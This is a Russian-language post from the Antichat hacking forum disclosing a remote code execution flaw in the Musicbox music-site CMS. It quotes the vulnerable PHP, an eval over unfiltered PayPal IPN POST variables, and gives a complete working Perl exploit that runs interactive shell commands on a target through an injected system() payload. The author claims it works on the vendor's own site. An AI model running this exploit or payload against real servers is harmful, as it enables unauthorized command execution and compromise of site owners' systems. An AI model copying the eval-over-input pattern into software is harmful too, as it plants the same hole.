Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Musicbox RCE (https://forum.antichat.xyz/showthread.php?t=59020)

Macro 18.01.2008 00:59

Musicbox RCE
 
Исполнение произвольного кода в движке Musicbox (двиг музыкального сайта)
Возможно, все версии


Сайт производителя
http://www.musicboxv2.com/
(приведенный ниже эксплоит для исполнения команд на нем работает)

Уязвимый код:
/cart/process_paypal.php
PHP код:



$paypal_ipn 
= new paypal_ipn($paypal_info);

foreach (
$paypal_ipn->paypal_post_vars as $key=>$value) {
    if (
getType($key)=="string") {
        eval(
"\$$key=\$value;");
        }


Класс paypal_ipn и его встроенная функция возвращают массив POST без всяких изменений, поэтому налицо исполнение кода.

Эксплоит:

Код:

#!/usr/bin/perl

#powered by Black Toad Team brains
#coded by Macro

use HTTP::Cookies;
use MIME::Base64;
use LWP;
my $cmd='';

sub urlencode {
  my $str = shift;
  $str =~ s/\s/%20/;
  return $str;
}

until($cmd eq 'exit'){
print '#';
$cmd=<STDIN>;
chomp($cmd);
$host=$ARGV[0];
$path=$ARGV[0];
$host=~s/(http:\/\/[^\/]+)/$1/;
$path=~s/http:\/\/[^\/]+(.*)/$1/;
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$data="c=".urlencode($cmd)."&a;system(\$c);\$c=1";
my $req = HTTP::Request->new(POST => $ARGV[0].'/cart/process_paypal.php');
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
print $content."\n";
}


Кстати, бага найдена мной :)


Время: 20:52